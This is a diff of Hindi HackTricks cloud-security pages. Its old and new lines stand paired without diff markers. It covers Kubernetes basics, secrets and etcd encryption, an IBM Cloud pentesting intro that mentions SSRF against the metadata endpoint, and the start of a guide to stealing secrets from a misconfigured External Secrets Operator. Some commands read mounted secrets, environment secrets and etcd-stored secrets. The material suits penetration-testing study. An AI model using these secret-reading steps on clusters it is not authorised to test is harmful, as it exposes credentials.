3. **आर्टिफिशियल इंटेलिजेंस और मशीन लर्निंग (AI & ML)**: IBM Cloud विशेष रूप से AI और ML में अपनी व्यापक और एकीकृत सेवाओं के लिए जाना जाता है। AWS भी AI और ML सेवाएँ प्रदान करता है, लेकिन IBM के समाधान अधिक व्यापक और इसके क्लाउड प्लेटफॉर्म में गहराई से अंतर्निहित माने जाते हैं।
4. **उद्योग-विशिष्ट समाधान**: IBM Cloud विशेष उद्योगों जैसे वित्तीय सेवाएँ, स्वास्थ्य देखभाल, और सरकार पर ध्यान केंद्रित करने के लिए पहचाना जाता है, जो अनुकूलित समाधान प्रदान करता है। AWS विभिन्न उद्योगों की एक विस्तृत श्रृंखला की सेवा करता है लेकिन IBM Cloud के समान गहराई में उद्योग-विशिष्ट समाधान नहीं हो सकते हैं।
#### बुनियादी जानकारी
### बुनियादी जानकारी
IAM और हायरार्की के बारे में कुछ बुनियादी जानकारी के लिए देखें:
IAM और पदानुक्रम के बारे में कुछ बुनियादी जानकारी के लिए देखें:
{{#ref}}
ibm-basic-information.md
{{#endref}}
### SSRF
## SSRF
जानें कि आप IBM के मेटाडेटा एंडपॉइंट तक कैसे पहुँच सकते हैं:

76
src/pentesting-cloud/kubernetes-security/kubernetes-basics.md
View File

@@ -1,7 +1,5 @@
# Kubernetes Basics
## Kubernetes Basics
{{#include ../../banners/hacktricks-training.md}}
**इस पृष्ठ के मूल लेखक हैं** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(उनका मूल पोस्ट पढ़ें** [**यहां**](https://sickrov.github.io)**)**
@@ -11,7 +9,7 @@
### Kubernetes क्या करता है?
- कंटेनर/को कंटेनर इंजन में चलाने की अनुमति देता है।
- शेड्यूल कंटेनरों के मिशन को कुशल बनाता है।
- शेड्यूल कंटेनरों को मिशन कुशल बनाता है।
- कंटेनरों को जीवित रखता है।
- कंटेनर संचार की अनुमति देता है।
- तैनाती तकनीकों की अनुमति देता है।
@@ -22,32 +20,32 @@
![](https://sickrov.github.io/media/Screenshot-68.jpg)
- **Node**: ऑपरेटिंग सिस्टम जिसमें पॉड या पॉड्स होते हैं।
- **Pod**: एक कंटेनर या कई कंटेनरों के चारों ओर लपेटने वाला। एक पॉड में केवल एक एप्लिकेशन होना चाहिए (इसलिए आमतौर पर, एक पॉड केवल 1 कंटेनर चलाता है)। पॉड वह तरीका है जिससे Kubernetes कंटेनर तकनीक को अमूर्त करता है।
- **Service**: प्रत्येक पॉड के पास नोड के आंतरिक रेंज से 1 आंतरिक **IP पता** होता है। हालाँकि, इसे एक सेवा के माध्यम से भी उजागर किया जा सकता है। **सेवा का भी एक IP पता है** और इसका लक्ष्य पॉड्स के बीच संचार बनाए रखना है ताकि यदि एक मर जाता है तो **नया प्रतिस्थापन** (एक अलग आंतरिक IP के साथ) **उसी सेवा के IP पर उपलब्ध होगा**। इसे आंतरिक या बाहरी के रूप में कॉन्फ़िगर किया जा सकता है। सेवा तब **लोड बैलेंसर के रूप में कार्य करती है जब 2 पॉड्स एक ही सेवा से जुड़े होते हैं**।\
- **Pod**: एक कंटेनर या कई कंटेनरों के चारों ओर लपेटने वाला। एक पॉड में केवल एक एप्लिकेशन होना चाहिए (इसलिए आमतौर पर, एक पॉड केवल 1 कंटेनर चलाता है)। पॉड वह तरीका है जिससे Kubernetes चल रहे कंटेनर तकनीक को अमूर्त करता है।
- **Service**: प्रत्येक पॉड का 1 आंतरिक **IP पता** होता है जो नोड की आंतरिक रेंज से होता है। हालाँकि, इसे एक सेवा के माध्यम से भी उजागर किया जा सकता है। **सेवा का भी एक IP पता होता है** और इसका लक्ष्य पॉड्स के बीच संचार बनाए रखना है ताकि यदि एक मर जाता है तो **नया प्रतिस्थापन** (एक अलग आंतरिक IP के साथ) **सेवा के उसी IP में उपलब्ध होगा**। इसे आंतरिक या बाहरी के रूप में कॉन्फ़िगर किया जा सकता है। सेवा तब **लोड बैलेंसर के रूप में कार्य करती है जब 2 पॉड्स उसी सेवा से जुड़े होते हैं**।\
जब एक **सेवा** **बनाई जाती है** तो आप प्रत्येक सेवा के अंत बिंदुओं को `kubectl get endpoints` चलाकर पा सकते हैं।
- **Kubelet**: प्राथमिक नोड एजेंट। वह घटक जो नोड और kubectl के बीच संचार स्थापित करता है, और केवल पॉड्स चला सकता है (API सर्वर के माध्यम से)। Kubelet उन कंटेनरों का प्रबंधन नहीं करता है जो Kubernetes द्वारा नहीं बनाए गए थे।
- **Kube-proxy**: यह apiserver और नोड के बीच संचार (सेवाओं) का प्रभारी है। आधार नोड्स के लिए IPtables है। सबसे अनुभवी उपयोगकर्ता अन्य विक्रेताओं से अन्य kube-proxies स्थापित कर सकते हैं।
- **Sidecar container**: साइडकार कंटेनर वे कंटेनर हैं जो पॉड में मुख्य कंटेनर के साथ चलने चाहिए। यह साइडकार पैटर्न मौजूदा कंटेनरों की कार्यक्षमता को बढ़ाता और बढ़ाता है बिना उन्हें बदले। आजकल, हम जानते हैं कि हम एप्लिकेशन को कहीं भी चलाने के लिए सभी निर्भरताओं को लपेटने के लिए कंटेनर तकनीक का उपयोग करते हैं। एक कंटेनर केवल एक काम करता है और वह काम बहुत अच्छा करता है।
- **Kube-proxy**: वह सेवा है जो apiserver और नोड के बीच संचार (सेवाएं) का प्रबंधन करती है। आधार नोड्स के लिए IPtables है। सबसे अनुभवी उपयोगकर्ता अन्य विक्रेताओं से अन्य kube-proxies स्थापित कर सकते हैं।
- **Sidecar container**: साइडकार कंटेनर वे कंटेनर हैं जो पॉड में मुख्य कंटेनर के साथ चलने चाहिए। यह साइडकार पैटर्न मौजूदा कंटेनरों की कार्यक्षमता को बढ़ाता और बढ़ाता है बिना उन्हें बदले। आजकल, हम जानते हैं कि हम कंटेनर तकनीक का उपयोग सभी निर्भरताओं को लपेटने के लिए करते हैं ताकि एप्लिकेशन कहीं भी चल सके। एक कंटेनर केवल एक काम करता है और वह काम बहुत अच्छा करता है।
- **Master process:**
- **Api Server:** यह वह तरीका है जिससे उपयोगकर्ता और पॉड्स मास्टर प्रक्रिया के साथ संवाद करते हैं। केवल प्रमाणित अनुरोधों की अनुमति दी जानी चाहिए।
- **Scheduler**: शेड्यूलिंग का तात्पर्य यह सुनिश्चित करने से है कि पॉड्स को नोड्स से मिलाया जाए ताकि Kubelet उन्हें चला सके। इसमें यह तय करने के लिए पर्याप्त बुद्धिमत्ता है कि कौन सा नोड अधिक उपलब्ध संसाधनों के साथ है और नए पॉड को उसे सौंपता है। ध्यान दें कि शेड्यूलर नए पॉड्स शुरू नहीं करता है, यह केवल नोड के अंदर चल रहे Kubelet प्रक्रिया के साथ संवाद करता है, जो नए पॉड को लॉन्च करेगा।
- **Kube Controller manager**: यह संसाधनों की जांच करता है जैसे कि रिप्लिका सेट या तैनाती यह जांचने के लिए कि, उदाहरण के लिए, सही संख्या में पॉड्स या नोड्स चल रहे हैं। यदि कोई पॉड गायब है, तो यह एक नया शुरू करने के लिए शेड्यूलर के साथ संवाद करेगा। यह API के लिए प्रतिकृति, टोकन और खाता सेवाओं को नियंत्रित करता है।
- **Kube Controller manager**: यह संसाधनों जैसे कि रिप्लिका सेट या तैनातियों की जांच करता है यह देखने के लिए कि, उदाहरण के लिए, सही संख्या में पॉड्स या नोड्स चल रहे हैं। यदि कोई पॉड गायब है, तो यह एक नया शुरू करने के लिए शेड्यूलर के साथ संवाद करेगा। यह API के लिए प्रतिकृति, टोकन और खाता सेवाओं को नियंत्रित करता है।
- **etcd**: डेटा भंडारण, स्थायी, सुसंगत, और वितरित। यह Kubernetes का डेटाबेस है और कुंजी-मूल्य भंडारण है जहाँ यह क्लस्टरों की पूरी स्थिति को रखता है (यहाँ प्रत्येक परिवर्तन लॉग किया जाता है)। शेड्यूलर या कंट्रोलर प्रबंधक जैसे घटक इस डेटा पर निर्भर करते हैं यह जानने के लिए कि कौन से परिवर्तन हुए हैं (नोड्स के उपलब्ध संसाधन, चल रहे पॉड्स की संख्या...)।
- **Cloud controller manager**: यह प्रवाह नियंत्रण और अनुप्रयोगों के लिए विशिष्ट नियंत्रक है, यानी: यदि आपके पास AWS या OpenStack में क्लस्टर हैं।
ध्यान दें कि चूंकि कई नोड्स (कई पॉड्स चला रहे हैं) हो सकते हैं, इसलिए कई मास्टर प्रक्रियाएँ भी हो सकती हैं जिनका एपीआई सर्वर तक पहुंच लोड संतुलित होती है और उनका etcd समन्वयित होता है।
ध्यान दें कि चूंकि कई नोड्स (कई पॉड्स चला रहे हैं) हो सकते हैं, इसलिए कई मास्टर प्रक्रियाएँ भी हो सकती हैं जिनका Api सर्वर तक पहुंच लोड संतुलित होती है और उनका etcd समन्वयित होता है।
**Volumes:**
जब एक पॉड डेटा बनाता है जो पॉड के गायब होने पर नहीं खोना चाहिए, तो इसे एक भौतिक वॉल्यूम में संग्रहीत किया जाना चाहिए। **Kubernetes एक पॉड में डेटा को स्थायी बनाने के लिए एक वॉल्यूम संलग्न करने की अनुमति देता है**। वॉल्यूम स्थानीय मशीन में या **दूरस्थ भंडारण** में हो सकता है। यदि आप विभिन्न भौतिक नोड्स में पॉड्स चला रहे हैं, तो आपको एक दूरस्थ भंडारण का उपयोग करना चाहिए ताकि सभी पॉड्स इसे एक्सेस कर सकें।
**अन्य कॉन्फ़िगरेशन:**
**Other configurations:**
- **ConfigMap**: आप सेवाओं तक पहुँचने के लिए **URLs** कॉन्फ़िगर कर सकते हैं। पॉड यहाँ से डेटा प्राप्त करेगा यह जानने के लिए कि बाकी सेवाओं (पॉड्स) के साथ कैसे संवाद करना है। ध्यान दें कि यह क्रेडेंशियल्स को सहेजने के लिए अनुशंसित स्थान नहीं है!
- **ConfigMap**: आप **सेवाओं** तक पहुँचने के लिए **URLs** कॉन्फ़िगर कर सकते हैं। पॉड यहाँ से डेटा प्राप्त करेगा यह जानने के लिए कि बाकी सेवाओं (पॉड्स) के साथ कैसे संवाद करना है। ध्यान दें कि यह क्रेडेंशियल्स को सहेजने के लिए अनुशंसित स्थान नहीं है!
- **Secret**: यह **गुप्त डेटा** जैसे पासवर्ड, API कुंजी... को B64 में एन्कोड करने के लिए **स्टोर करने का स्थान** है। पॉड इस डेटा को आवश्यक क्रेडेंशियल्स का उपयोग करने के लिए एक्सेस कर सकेगा।
- **Deployments**: यह वह स्थान है जहाँ Kubernetes द्वारा चलाए जाने वाले घटकों को इंगित किया जाता है। एक उपयोगकर्ता आमतौर पर पॉड्स के साथ सीधे काम नहीं करेगा, पॉड्स को **ReplicaSets** (एक समान पॉड्स की संख्या) में अमूर्त किया जाता है, जिन्हें तैनातियों के माध्यम से चलाया जाता है। ध्यान दें कि तैनातियाँ **stateless** अनुप्रयोगों के लिए होती हैं। तैनाती के लिए न्यूनतम कॉन्फ़िगरेशन नाम और चलाने के लिए छवि है।
- **Deployments**: यह वह स्थान है जहाँ Kubernetes द्वारा चलाए जाने वाले घटकों को इंगित किया जाता है। एक उपयोगकर्ता आमतौर पर सीधे पॉड्स के साथ काम नहीं करेगा, पॉड्स को **ReplicaSets** (एक ही पॉड्स की संख्या जो दोहराई जाती है) में अमूर्त किया जाता है, जिन्हें तैनातियों के माध्यम से चलाया जाता है। ध्यान दें कि तैनातियाँ **stateless** अनुप्रयोगों के लिए होती हैं। तैनाती के लिए न्यूनतम कॉन्फ़िगरेशन नाम और चलाने के लिए छवि है।
- **StatefulSet**: यह घटक विशेष रूप से **डेटाबेस** जैसे अनुप्रयोगों के लिए है जिन्हें **एक ही भंडारण** तक पहुँचने की आवश्यकता होती है।
- **Ingress**: यह वह कॉन्फ़िगरेशन है जिसका उपयोग **URL के साथ अनुप्रयोग को सार्वजनिक रूप से उजागर करने के लिए किया जाता है**। ध्यान दें कि यह बाहरी सेवाओं का उपयोग करके भी किया जा सकता है, लेकिन यह अनुप्रयोग को उजागर करने का सही तरीका है।
- **Ingress**: यह वह कॉन्फ़िगरेशन है जिसका उपयोग **URL के साथ एप्लिकेशन को सार्वजनिक रूप से उजागर करने के लिए** किया जाता है। ध्यान दें कि यह बाहरी सेवाओं का उपयोग करके भी किया जा सकता है, लेकिन यह एप्लिकेशन को उजागर करने का सही तरीका है।
- यदि आप एक Ingress लागू करते हैं तो आपको **Ingress Controllers** बनाने की आवश्यकता होगी। Ingress Controller एक **पॉड** है जो वह अंत बिंदु होगा जो अनुरोध प्राप्त करेगा और उन्हें जांचेगा और सेवाओं के लिए लोड संतुलित करेगा। Ingress Controller **कॉन्फ़िगर किए गए इनग्रेस नियमों के आधार पर अनुरोध भेजेगा**। ध्यान दें कि इनग्रेस नियम विभिन्न पथों या यहां तक कि विभिन्न आंतरिक Kubernetes सेवाओं के लिए उपडोमेन की ओर इशारा कर सकते हैं।
- एक बेहतर सुरक्षा प्रथा यह होगी कि किसी भी Kubernetes क्लस्टर के भाग को उजागर न करने के लिए एक क्लाउड लोड बैलेंसर या प्रॉक्सी सर्वर का उपयोग किया जाए।
- जब कोई अनुरोध प्राप्त होता है जो किसी भी इनग्रेस नियम से मेल नहीं खाता है, तो इनग्रेस कंट्रोलर इसे "**डिफ़ॉल्ट बैकएंड**" की ओर निर्देशित करेगा। आप इस पैरामीटर के पते को प्राप्त करने के लिए इनग्रेस कंट्रोलर का `describe` कर सकते हैं।
@@ -70,7 +68,7 @@
### Minikube
**Minikube** का उपयोग Kubernetes पर कुछ **त्वरित परीक्षण** करने के लिए किया जा सकता है बिना पूरे Kubernetes वातावरण को तैनात किए। यह **एक मशीन में मास्टर और नोड प्रक्रियाओं को चलाएगा**। Minikube नोड चलाने के लिए वर्चुअलबॉक्स का उपयोग करेगा। [**यहां देखें कि इसे कैसे स्थापित करें**](https://minikube.sigs.k8s.io/docs/start/)।
**Minikube** का उपयोग कुछ **त्वरित परीक्षण** करने के लिए किया जा सकता है Kubernetes पर बिना पूरे Kubernetes वातावरण को तैनात किए। यह **एक मशीन में मास्टर और नोड प्रक्रियाओं को चलाएगा**। Minikube नोड चलाने के लिए वर्चुअल बॉक्स का उपयोग करेगा। [**यहां देखें कि इसे कैसे स्थापित करें**](https://minikube.sigs.k8s.io/docs/start/)।
```
$ minikube start
😄 minikube v1.19.0 on Ubuntu 20.04
@@ -153,12 +151,12 @@ minikube dashboard --url
🤔 Verifying proxy health ...
http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kubernetes-dashboard:/proxy/
```
### YAML कॉन्फ़िगरेशन फ़ाइलों के उदाहरण
### YAML configuration files examples
प्रत्येक कॉन्फ़िगरेशन फ़ाइल में 3 भाग होते हैं: **metadata**, **specification** (क्या लॉन्च करना है), **status** (इच्छित स्थिति)।\
डिप्लॉयमेंट कॉन्फ़िगरेशन फ़ाइल की स्पेसिफिकेशन के अंदर आप टेम्पलेट पा सकते हैं जो चलाने के लिए इमेज को परिभाषित करने के लिए एक नई कॉन्फ़िगरेशन संरचना के साथ परिभाषित है:
डिप्लॉयमेंट कॉन्फ़िगरेशन फ़ाइल की स्पेसिफिकेशन के अंदर आप एक टेम्पलेट पा सकते हैं जो चलाने के लिए इमेज को परिभाषित करने के लिए एक नई कॉन्फ़िगरेशन संरचना के साथ परिभाषित है:
**एक ही कॉन्फ़िगरेशन फ़ाइल में घोषित Deployment + Service का उदाहरण (से** [**यहाँ**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
**Example of Deployment + Service declared in the same configuration file (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)**
चूंकि एक सेवा आमतौर पर एक डिप्लॉयमेंट से संबंधित होती है, इसलिए दोनों को एक ही कॉन्फ़िगरेशन फ़ाइल में घोषित करना संभव है (इस कॉन्फ़िगरेशन में घोषित सेवा केवल आंतरिक रूप से सुलभ है):
```yaml
@@ -227,7 +225,7 @@ targetPort: 8081
nodePort: 30000
```
> [!NOTE]
> यह परीक्षण के लिए उपयोगी है लेकिन उत्पादन के लिए आपके पास केवल आंतरिक सेवाएँ और एप्लिकेशन को उजागर करने के लिए एक Ingress होना चाहिए।
> यह परीक्षण के लिए उपयोगी है लेकिन उत्पादन के लिए आपको केवल आंतरिक सेवाएँ और एप्लिकेशन को उजागर करने के लिए एक Ingress होना चाहिए।
**Ingress कॉन्फ़िग फ़ाइल का उदाहरण**
@@ -262,7 +260,7 @@ mongo-root-password: cGFzc3dvcmQ=
```
**ConfigMap का उदाहरण**
एक **ConfigMap** वह कॉन्फ़िगरेशन है जो पॉड्स को दिया जाता है ताकि वे जान सकें कि अन्य सेवाओं को कैसे ढूंढना और उन तक पहुंचना है। इस मामले में, प्रत्येक पॉड को पता होगा कि नाम `mongodb-service` एक पॉड का पता है जिसके साथ वे संवाद कर सकते हैं (यह पॉड एक mongodb निष्पादित करेगा):
A **ConfigMap** वह कॉन्फ़िगरेशन है जो पॉड्स को दिया जाता है ताकि वे जान सकें कि अन्य सेवाओं को कैसे ढूंढना और उन तक पहुंचना है। इस मामले में, प्रत्येक पॉड को पता होगा कि नाम `mongodb-service` एक पॉड का पता है जिसके साथ वे संवाद कर सकते हैं (यह पॉड एक mongodb निष्पादित करेगा):
```yaml
apiVersion: v1
kind: ConfigMap
@@ -292,18 +290,18 @@ name: mongodb-configmap
key: database_url
[...]
```
**वॉल्यूम कॉन्फ़िगरेशन का उदाहरण**
**Example of volume config**
आप विभिन्न स्टोरेज कॉन्फ़िगरेशन yaml फ़ाइलों के उदाहरण [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes) में पा सकते हैं।\
**ध्यान दें कि वॉल्यूम नामस्थान के अंदर नहीं हैं**
**ध्यान दें कि वॉल्यूम नामस्पेस के अंदर नहीं होते हैं**
### नामस्थान
### Namespaces
Kubernetes **एक ही भौतिक क्लस्टर** द्वारा समर्थित **कई आभासी क्लस्टर** का समर्थन करता है। इन आभासी क्लस्टरों को **नामस्थान** कहा जाता है। ये उन वातावरणों में उपयोग के लिए बनाए गए हैं जहाँ कई उपयोगकर्ता कई टीमों या परियोजनाओं में फैले हुए हैं। कुछ से लेकर दर्जनों उपयोगकर्ताओं वाले क्लस्टरों के लिए, आपको नामस्थान बनाने या उनके बारे में सोचने की आवश्यकता नहीं होनी चाहिए। आपको केवल नामस्थान का उपयोग करना शुरू करना चाहिए ताकि Kubernetes में तैनात प्रत्येक भाग के बेहतर नियंत्रण और संगठन हो सके।
Kubernetes **एक ही भौतिक क्लस्टर** द्वारा समर्थित **कई वर्चुअल क्लस्टर** का समर्थन करता है। इन वर्चुअल क्लस्टरों को **namespaces** कहा जाता है। ये उन वातावरणों में उपयोग के लिए हैं जहां कई उपयोगकर्ता कई टीमों या परियोजनाओं में फैले हुए हैं। कुछ से लेकर दर्जनों उपयोगकर्ताओं वाले क्लस्टरों के लिए, आपको नामस्पेस बनाने या उनके बारे में सोचने की आवश्यकता नहीं होनी चाहिए। आपको केवल नामस्पेस का उपयोग करना शुरू करना चाहिए ताकि आप kubernetes में तैनात प्रत्येक भाग के बेहतर नियंत्रण और संगठन प्राप्त कर सकें।
नामस्थान नामों के लिए एक दायरा प्रदान करते हैं। संसाधनों के नाम को एक नामस्थान के भीतर अद्वितीय होना चाहिए, लेकिन नामस्थानों के बीच नहीं। नामस्थान एक-दूसरे के अंदर नहीं हो सकते और **प्रत्येक** Kubernetes **संसाधन** केवल **एक** **नामस्थान** में ही हो सकता है।
Namespaces नामों के लिए एक दायरा प्रदान करते हैं। संसाधनों के नाम को एक नामस्पेस के भीतर अद्वितीय होना चाहिए, लेकिन नामस्पेस के बीच नहीं। Namespaces को एक-दूसरे के अंदर नेस्ट नहीं किया जा सकता है और **प्रत्येक** Kubernetes **संसाधन** केवल **एक** **नामस्पेस** में ही हो सकता है।
यदि आप मिनीक्यूब का उपयोग कर रहे हैं तो डिफ़ॉल्ट रूप से 4 नामस्थान हैं:
यदि आप minikube का उपयोग कर रहे हैं तो डिफ़ॉल्ट रूप से 4 नामस्पेस होते हैं:
```
kubectl get namespace
NAME STATUS AGE
@@ -321,7 +319,7 @@ kube-system Active 1d
kubectl create namespace my-namespace
```
> [!NOTE]
> ध्यान दें कि अधिकांश Kubernetes संसाधन (जैसे pods, services, replication controllers, और अन्य) कुछ namespaces में होते हैं। हालाँकि, अन्य संसाधन जैसे namespace संसाधन और निम्न-स्तरीय संसाधन, जैसे nodes और persistenVolumes एक namespace में नहीं होते हैं। यह देखने के लिए कि कौन से Kubernetes संसाधन एक namespace में हैं और कौन से नहीं हैं:
> ध्यान दें कि अधिकांश Kubernetes संसाधन (जैसे pods, services, replication controllers, और अन्य) कुछ namespaces में होते हैं। हालाँकि, namespace संसाधनों और निम्न-स्तरीय संसाधनों, जैसे nodes और persistentVolumes, जैसे अन्य संसाधन namespace में नहीं होते हैं। यह देखने के लिए कि कौन से Kubernetes संसाधन namespace में हैं और कौन से नहीं:
>
> ```bash
> kubectl api-resources --namespaced=true #In a namespace
@@ -340,19 +338,19 @@ helm search <keyword>
```
Helm एक टेम्पलेट इंजन भी है जो वेरिएबल के साथ कॉन्फ़िग फ़ाइलें उत्पन्न करने की अनुमति देता है:
## Kubernetes रहस्य
## Kubernetes secrets
एक **Secret** एक ऑब्जेक्ट है जो **संवेदनशील डेटा** जैसे पासवर्ड, टोकन या कुंजी को **धारण** करता है। ऐसी जानकारी अन्यथा एक Pod स्पेसिफिकेशन या एक इमेज में रखी जा सकती है। उपयोगकर्ता Secrets बना सकते हैं और सिस्टम भी Secrets बनाता है। एक Secret ऑब्जेक्ट का नाम एक मान्य **DNS उपडोमेन नाम** होना चाहिए। यहाँ पढ़ें [the official documentation](https://kubernetes.io/docs/concepts/configuration/secret/)।
Secrets कुछ इस प्रकार हो सकते हैं:
Secrets में निम्नलिखित चीजें हो सकती हैं:
- API, SSH Keys।
- OAuth टोकन।
- क्रेडेंशियल्स, पासवर्ड (सादा पाठ या b64 + एन्क्रिप्शन)।
- OAuth tokens।
- Credentials, Passwords (plain text या b64 + encryption)।
- जानकारी या टिप्पणियाँ।
- डेटाबेस कनेक्शन कोड, स्ट्रिंग्स…।
Kubernetes में रहस्यों के विभिन्न प्रकार हैं
Kubernetes में विभिन्न प्रकार के secrets होते हैं
| Builtin Type | Usage |
| ----------------------------------- | ----------------------------------------- |
@@ -362,17 +360,17 @@ Kubernetes में रहस्यों के विभिन्न प्
| kubernetes.io/dockerconfigjson | अनुक्रमित \~/.docker/config.json फ़ाइल |
| kubernetes.io/basic-auth | मूल प्रमाणीकरण के लिए क्रेडेंशियल्स |
| kubernetes.io/ssh-auth | SSH प्रमाणीकरण के लिए क्रेडेंशियल्स |
| kubernetes.io/tls | एक TLS क्लाइंट या सर्वर के लिए डेटा |
| kubernetes.io/tls | TLS क्लाइंट या सर्वर के लिए डेटा |
| bootstrap.kubernetes.io/token | बूटस्ट्रैप टोकन डेटा |
> [!NOTE]
> **Opaque प्रकार डिफ़ॉल्ट है, यह उपयोगकर्ताओं द्वारा परिभाषित सामान्य कुंजी-मूल्य जोड़ी है।**
> **Opaque प्रकार डिफ़ॉल्ट है, उपयोगकर्ताओं द्वारा परिभाषित सामान्य कुंजी-मूल्य जोड़ा।**
**Secrets कैसे काम करते हैं:**
![](https://sickrov.github.io/media/Screenshot-164.jpg)
निम्नलिखित कॉन्फ़िगरेशन फ़ाइल एक **secret** को परिभाषित करती है जिसे `mysecret` कहा जाता है जिसमें 2 कुंजी-मूल्य जोड़े `username: YWRtaW4=` और `password: MWYyZDFlMmU2N2Rm` होते हैं। यह एक **pod** को भी परिभाषित करता है जिसे `secretpod` कहा जाता है जो `mysecret` में परिभाषित `username` और `password` को **पर्यावरण चर** `SECRET_USERNAME` \_\_ और \_\_ `SECRET_PASSWOR` में उजागर करेगा। यह `0640` अनुमतियों के साथ `mysecret` के अंदर `username` रहस्य को `/etc/foo/my-group/my-username` पथ में भी **माउंट** करेगा।
निम्नलिखित कॉन्फ़िगरेशन फ़ाइल एक **secret** को परिभाषित करती है जिसे `mysecret` कहा जाता है जिसमें 2 कुंजी-मूल्य जोड़े `username: YWRtaW4=` और `password: MWYyZDFlMmU2N2Rm` होते हैं। यह एक **pod** को भी परिभाषित करता है जिसे `secretpod` कहा जाता है जो `mysecret` में परिभाषित `username` और `password` को **environment variables** `SECRET_USERNAME` \_\_ और \_\_ `SECRET_PASSWOR` में प्रदर्शित करेगा। यह `mysecret` में `username` secret को `/etc/foo/my-group/my-username` पथ में `0640` अनुमतियों के साथ **mount** करेगा।
```yaml:secretpod.yaml
apiVersion: v1
kind: Secret
@@ -424,7 +422,7 @@ env | grep SECRET && cat /etc/foo/my-group/my-username && echo
```
### Secrets in etcd <a href="#discover-secrets-in-etcd" id="discover-secrets-in-etcd"></a>
**etcd** एक सुसंगत और उच्च-उपलब्ध **की-मान भंडार** है जो सभी क्लस्टर डेटा के लिए Kubernetes बैकिंग स्टोर के रूप में उपयोग किया जाता है। चलिए etcd में संग्रहीत रहस्यों तक पहुँचते हैं:
**etcd** एक सुसंगत और उच्च उपलब्धता वाला **की-मान भंडार** है जो सभी क्लस्टर डेटा के लिए Kubernetes बैकिंग स्टोर के रूप में उपयोग किया जाता है। चलिए etcd में संग्रहीत रहस्यों तक पहुँचते हैं:
```bash
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd
```
@@ -456,7 +454,7 @@ keys:
secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
- identity: {}
```
उसके बाद, आपको `kube-apiserver` पर `--encryption-provider-config` ध्वज सेट करना होगा ताकि यह बनाए गए कॉन्फ़िग फ़ाइल के स्थान की ओर इशारा करे। आप `/etc/kubernetes/manifest/kube-apiserver.yaml` को संशोधित कर सकते हैं और निम्नलिखित पंक्तियाँ जोड़ सकते हैं:
इसके बाद, आपको `kube-apiserver` पर `--encryption-provider-config` ध्वज सेट करना होगा ताकि यह बनाए गए कॉन्फ़िग फ़ाइल के स्थान की ओर इशारा करे। आप `/etc/kubernetes/manifest/kube-apiserver.yaml` को संशोधित कर सकते हैं और निम्नलिखित पंक्तियाँ जोड़ सकते हैं:
```yaml
containers:
- command:
@@ -478,9 +476,9 @@ name: etcd
```
**डेटा के एन्क्रिप्टेड होने की पुष्टि करना**
डेटा को etcd में लिखते समय एन्क्रिप्ट किया जाता है। अपने `kube-apiserver` को पुनरारंभ करने के बाद, कोई भी नया या अपडेट किया गया सीक्रेट स्टोर करते समय एन्क्रिप्ट किया जाना चाहिए। जांचने के लिए, आप अपने सीक्रेट की सामग्री को पुनः प्राप्त करने के लिए `etcdctl` कमांड लाइन प्रोग्राम का उपयोग कर सकते हैं।
डेटा को etcd में लिखते समय एन्क्रिप्ट किया जाता है। अपने `kube-apiserver` को पुनः प्रारंभ करने के बाद, कोई भी नया या अपडेट किया गया सीक्रेट स्टोर करते समय एन्क्रिप्ट किया जाना चाहिए। जांचने के लिए, आप अपने सीक्रेट की सामग्री को पुनः प्राप्त करने के लिए `etcdctl` कमांड लाइन प्रोग्राम का उपयोग कर सकते हैं।
1. `default` नामस्थान में `secret1` नामक एक नया सीक्रेट बनाएं:
1. `default` नामस्थान में `secret1` नाम का एक नया सीक्रेट बनाएं:
```
kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
@@ -508,7 +506,7 @@ kubectl get secrets --all-namespaces -o json | kubectl replace -f -
**अंतिम सुझाव:**
- FS में रहस्य रखने से बचें, उन्हें अन्य स्थानों से प्राप्त करें।
- अपने रहस्यों को और अधिक सुरक्षा देने के लिए [https://www.vaultproject.io/](https://www.vaultproject.io) पर जाएं।
- अपने रहस्यों की सुरक्षा बढ़ाने के लिए [https://www.vaultproject.io/](https://www.vaultproject.io) पर जाएं।
- [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks)
- [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm)

18
src/pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md
View File

@@ -1,12 +1,14 @@
# External Secret Operator
{{#include ../../banners/hacktricks-training.md}}
**इस पृष्ठ के मूल लेखक हैं** [**Fares**](https://www.linkedin.com/in/fares-siala/)
यह पृष्ठ कुछ संकेत देता है कि आप कैसे एक गलत कॉन्फ़िगर किए गए ESO या एप्लिकेशन से रहस्यों को चुरा सकते हैं जो अपने रहस्यों को समन्वयित करने के लिए ESO का उपयोग करता है।
## अस्वीकरण
नीचे दिखाए गए तकनीक केवल तभी काम कर सकती है जब कुछ परिस्थितियाँ पूरी हों। उदाहरण के लिए, यह उस आवश्यकता पर निर्भर करता है जो एक रहस्य को आपके द्वारा स्वामित्व / समझौता किए गए namespace पर समन्वयित करने की अनुमति देती है। आपको इसे स्वयं पता करना होगा।
नीचे दिखाए गए तकनीक केवल तभी काम कर सकती है जब कुछ परिस्थितियाँ पूरी हों। उदाहरण के लिए, यह उस आवश्यकता पर निर्भर करता है जो एक रहस्य को आपके द्वारा स्वामित्व / समझौता किए गए namespace पर समन्वयित करने की अनुमति देती है। आपको इसे स्वयं समझना होगा।
## पूर्वापेक्षाएँ
@@ -16,7 +18,7 @@
### मौजूदा ClusterSecretStore के बारे में जानकारी इकट्ठा करना
मान लीजिए कि आपके पास इस संसाधन को पढ़ने के लिए पर्याप्त अधिकार वाले उपयोगकर्ता हैं; पहले मौजूदा _**ClusterSecretStores**_ की सूची बनाकर शुरू करें।
